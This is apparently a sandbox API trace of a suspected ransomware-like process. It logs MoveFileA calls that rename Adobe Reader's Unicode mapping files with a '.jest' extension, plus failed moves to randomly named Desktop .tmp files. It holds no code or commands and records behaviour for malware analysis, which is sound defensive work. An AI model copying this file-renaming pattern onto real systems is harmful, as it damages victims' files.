0 [0159.695] GetLastError () returned 0x2 [0159.696] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt.jest")) returned 1 [0159.696] GetLastError () returned 0x0 [0159.697] VarBstrFromR4 (in: fltIn=0x479454b1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.38") returned 0x0 [0159.697] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\elp8Ns9G-Zt6OYddfFAgjhGtdgcA5wH2-78kP10l FaxBEfPR3vzpkLBKS9fjxjkBLr94HHKTbcq6iY_hD74TvyV4O2ZjJ38mORTR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\elp8ns9g-zt6oyddffagjhgtdgca5wh2-78kp10l faxbefpr3vzpklbks9fjxjkblr94hhktbcq6iy_hd74tvyv4o2zjj38mortr.tmp")) returned 0 [0159.697] GetLastError () returned 0x2 [0159.698] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt.jest")) returned 1 [0159.699] GetLastError () returned 0x0 [0159.699] VarBstrFromR4 (in: fltIn=0x479454b1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.38") returned 0x0 [0159.700] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lsW4QphSgqwoz-sxFppJlPOUPDYuxEPMP8nzHd9iQuV-IEQTZzoyqs30Okutmtjm_pOhJmspyiYBYPkHisze0zaot-XrBAy76rl5e.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lsw4qphsgqwoz-sxfppjlpoupdyuxepmp8nzhd9iquv-ieqtzzoyqs30okutmtjm_pohjmspyiybypkhisze0zaot-xrbay76rl5e.tmp")) returned 0 [0159.700] GetLastError () returned 0x2 [0159.700] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt.jest")) returned 1 [0159.701] GetLastError () returned 0x0 [0159.701] VarBstrFromR4 (in: fltIn=0x479454b1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.38") returned 0x0 [0159.702] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g5zB7zSTxHnjpSqBALdyD0gNRkPKAIyjXvpY8quTUZI0vWazWPycbvRN6teObMYXgFaWmMri0Z5Y0hiPus-oTUPA vroxjPFwD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g5zb7zstxhnjpsqbaldyd0gnrkpkaiyjxvpy8qutuzi0vwazwpycbvrn6teobmyxgfawmmri0z5y0hipus-otupa vroxjpfwd.tmp")) returned 0 [0159.702] GetLastError () returned 0x2 [0159.702] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt.jest")) returned 1 [0159.703] GetLastError () returned 0x0 [0159.703] VarBstrFromR4 (in: fltIn=0x479454b1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.38") returned 0x0 [0159.704] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dDfsc0Vtxfo_diqPSe6PWQzzHF-tYvoFS7Mw6tJZQKrzNV3-6cOgRuP-CqHRxsq_kibSLtC94RqAgY4POrcdWO73_NxlMLQgtd1Q8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ddfsc0vtxfo_diqpse6pwqzzhf-tyvofs7mw6tjzqkrznv3-6cogrup-cqhrxsq_kibsltc94rqagy4porcdwo73_nxlmlqgtd1q8.tmp")) returned 0 [0159.704] GetLastError () returned 0x2 [0159.705] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt.jest")) returned 1 [0159.705] GetLastError () returned 0x0 [0159.706] VarBstrFromR4 (in: fltIn=0x479454b1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.38") returned 0x0 [0159.706] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ryWMohwMiS2JVCtSdk1ROS54TFKXXd2v1YmLl19VkgDbujuKEPSV q_YRURP7i4pfeNHEGJ uUAPJ2ziL3Evj3vpF4Xe30qmxaP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rywmohwmis2jvctsdk1ros54tfkxxd2v1ymll19vkgdbujukepsv q_yrurp7i4pfenhegj uuapj2zil3evj3vpf4xe30qmxap.tmp")) returned 0 [0159.706] GetLastError () returned 0x2 [0159.707] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt.jest")) returned 1 [0159.708] GetLastError () returned 0x0 [0159.708] VarBstrFromR4 (in: fltIn=0x479454b3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.4") returned 0x0 [0159.709] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gLS3k8iIH3SflUW-5t2dbqhnJzmZ1IPH8hIE6VwBavmRrHtn5KLlhLQPsPRZeEfwxyNe0FsxipC760OJoxhwGlDJzBSZApVSebiKM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gls3k8iih3sfluw-5t2dbqhnjzmz1iph8hie6vwbavmrrhtn5kllhlqpsprzeefwxyne0fsxipc760ojoxhwgldjzbszapvsebikm.tmp")) returned 0 [0159.709] GetLastError () returned 0x2 [0159.709] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt.jest")) returned 1 [0159.710] GetLastError () returned 0x0 [0159.710] VarBstrFromR4 (in: fltIn=0x479454b3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.4") returned 0x0 [0159.711] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9Qox6xe3WHCWj7p 51 yUR5BVvzeqyL9hEavQf 7ktsgTjwx5wBO XcvJAE9rBffZCJBwNMWVyVfRiZrEv_RUBZneVJv84ZcgA4i.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9qox6xe3whcwj7p 51 yur5bvvzeqyl9heavqf 7ktsgtjwx5wbo xcvjae9rbffzcjbwnmwvyvfrizrev_rubznevjv84zcga4i.tmp")) returned 0 [0159.711] GetLastError () returned 0x2 [0159.711] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt.jest")) returned 1 [0159.712] GetLastError () returned 0x0 [0159.712] VarBstrFromR4 (in: fltIn=0x479454b3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.4") returned 0x0 [0159.713] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MLLQwHAP eSl6mAGfVJWp-Qujm6XajTPL-MQeQjDdTd-Qu-SqZ0410fNZhrU-W0Q7m4xEsKZwY_OglEC_WAKSlE2nC08mpbjwYqT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mllqwhap esl6magfvjwp-qujm6xajtpl-mqeqjddtd-qu-sqz0410fnzhru-w0q7m4xeskzwy_oglec_waksle2nc08mpbjwyqt.tmp")) returned 0 [0159.713] GetLastError () returned 0x2 [0159.714] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt.jest")) returned 1 [0159.714] GetLastError () returned 0x0 [0159.715] VarBstrFromR4 (in: fltIn=0x479454b3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.4") returned 0x0 [0159.715] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\44BfHXLd0EFmOFUKsKW6HSWZhnB0RxyLvpPO hj8W4uRluw2W9za-TXrufWZOrE-Ul4X4ia d8V-ljONRIWX6w2lV ylUGbaFd J3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\44bfhxld0efmofukskw6hswzhnb0rxylvppo hj8w4urluw2w9za-txrufwzore-ul4x4ia d8v-ljonriwx6w2lv ylugbafd j3.tmp")) returned 0 [0159.715] GetLastError () returned 0x2 [0159.717] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1255.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1255.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1255.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1255.txt.jest")) returned 1 [0159.718] GetLastError () returned 0x0 [0159.718] VarBstrFromR4 (in: fltIn=0x479454b3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.4") returned 0x0 [0159.718] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1255.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1255.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hhmO PX9fTrFSe1fDmhBCowViMkPmVgTpzuxUXKv00FG117X9JLvHEEkSDS-_e9peNSiILTK_5q5 -jdZgPzCra9Mhb95YVFTp4Po.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hhmo px9ftrfse1fdmhbcowvimkpmvgtpzuxuxkv00fg117x9jlvheeksds-_e9pensiiltk_5q5 -jdzgpzcra9mhb95yvftp4po.tmp")) returned 0 [0159.719] GetLastError () returned 0x2 [0159.719] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP874.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp874.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP874.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp874.txt.jest")) returned 1 [0159.720] GetLastError () returned 0x0 [0159.720] VarBstrFromR4 (in: fltIn=0x479454b3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.4") returned 0x0 [0159.721] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP874.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp874.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TT5O3uhEhbnDK Tik3dtPy0GvTpJfIhhulIAxE-vCy7 NyL PxNPK0sh OeiYyURxYzG5VKzCnB09eOR-ye pGqlONnc3uFFP-SI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tt5o3uhehbndk tik3dtpy0gvtpjfihhuliaxe-vcy7 nyl pxnpk0sh oeiyyurxyzg5vkzcnb09eor-ye pgqlonnc3uffp-si.tmp")) returned 0 [0159.721] GetLastError () returned 0x2 [0159.721] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\THAI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\thai.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\THAI.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\thai.txt.jest")) returned 1 [0159.734] GetLastError () returned 0x0 [0159.734] VarBstrFromR4 (in: fltIn=0x479454b5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75945.41") returned 0x0 [0159.735] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\THAI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\thai.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ VxZ-r_QMmolVez8Z-vrXCJcbTJ6XVmMqZyMNqFlSXqKBTzBNF1Rml66sLuS4xbMqKAVSNxWajlWjpassevMJ Vc4p2ybuOCfRA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ vxz-r_qmmolvez8z-vrxcjcbtj6xvmmqzymnqflsxqkbtzbnf1rml66slus4xbmqkavsnxwajlwjpassevmj vc4p2ybuocfra.tmp")) returned 0 [0159.735] GetLastError () returned 0x2 [0159.736] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HEBREW.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\hebrew.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HEBREW.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\hebrew.txt.jest")) returned 1 [0161.407] GetLastError () returned 0x0 [0161.408] VarBstrFromR4 (in: fltIn=0x4794558d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.1") returned 0x0 [0161.409] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HEBREW.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\hebrew.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l-XFYyv0KChkYWBuzf DWUtBCMsX5 TDO3zLcpZ7acFgDXRxL8WmTmXfjp6i6keI Yo98z3GtFb1TF8yAvmh01I_-iUgNNbIRli.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l-xfyyv0kchkywbuzf dwutbcmsx5 tdo3zlcpz7acfgdxrxl8wmtmxfjp6i6kei yo98z3gtfb1tf8yavmh01i_-iugnnbirli.tmp")) returned 0 [0161.409] GetLastError () returned 0x2 [0161.410] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\FARSI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\farsi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\FARSI.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\farsi.txt.jest")) returned 1 [0161.412] GetLastError () returned 0x0 [0161.412] VarBstrFromR4 (in: fltIn=0x4794558d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.1") returned 0x0 [0161.415] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\FARSI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\farsi.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\207h3IjT51aGmmqUfxmlKAo30uWc4tUDpOuhQBazxSVUF22p8B7XilqcdE_hemINbhDxsREZ_XBNSBQ6iYwzu6vkXbxHpw3 MNFl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\207h3ijt51agmmqufxmlkao30uwc4tudpouhqbazxsvuf22p8b7xilqcde_heminbhdxsrez_xbnsbq6iywzu6vkxbxhpw3 mnfl.tmp")) returned 0 [0161.415] GetLastError () returned 0x2 [0161.417] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ARABIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\arabic.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ARABIC.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\arabic.txt.jest")) returned 1 [0161.424] GetLastError () returned 0x0 [0161.425] VarBstrFromR4 (in: fltIn=0x4794558f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.12") returned 0x0 [0161.427] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ARABIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\arabic.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_tq5zmfvE539x2Dlw9pWfjNnBtVM_yzWUtzqSrOc5L nfPglX5OuRnblOt6ub3HZ0gl-R1REhEdPdjZq7PITcmmdXQOyVG6T1y1l.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_tq5zmfve539x2dlw9pwfjnnbtvm_yzwutzqsroc5l nfpglx5ournblot6ub3hz0gl-r1rehedpdjzq7pitcmmdxqoyvg6t1y1l.tmp")) returned 0 [0161.427] GetLastError () returned 0x2 [0161.428] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1256.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1256.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1256.TXT.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1256.txt.jest")) returned 1 [0161.444] GetLastError () returned 0x0 [0161.445] VarBstrFromR4 (in: fltIn=0x47945591, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.13") returned 0x0 [0161.446] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1256.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1256.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7TcHuo7EU80H9sgLfY_Us_xtRRJpVrYPN8mIN7Lf7z9Gb-mfh-GBz3PqJdQnp KLi1_uZ6i5Ri6eOHPlvFlIIhX3QkeEag3jYw7oy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7tchuo7eu80h9sglfy_us_xtrrjpvrypn8min7lf7z9gb-mfh-gbz3pqjdqnp kli1_uz6i5ri6eohplvfliihx3qkeeag3jyw7oy.tmp")) returned 0 [0161.446] GetLastError () returned 0x2 [0161.447] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt.jest")) returned 1 [0161.448] GetLastError () returned 0x0 [0161.449] VarBstrFromR4 (in: fltIn=0x47945591, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75947.13") returned 0x0 [0161.449] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sKDSKG_p4u0B3rL6WA8cJPMeSeC6-kOlkbzmlGEwVWF3vJGQOoPzicRfutz6LCzCWPosqicb5DLqqE2nv9_izhX35S82dY1BNO3z_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\skdskg_p4u0b3rl6wa8cjpmesec6-kolkbzmlgewvwf3vjgqoopzicrfutz6lczcwposqicb5dlqqe2nv9_izhx35s82dy1bno3z_.tmp")) returned 0 [0161.450] GetLastError () returned 0x2 [0161.450] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt.jest")) returned 1 [0161.451] GetLastError () returned 0x0 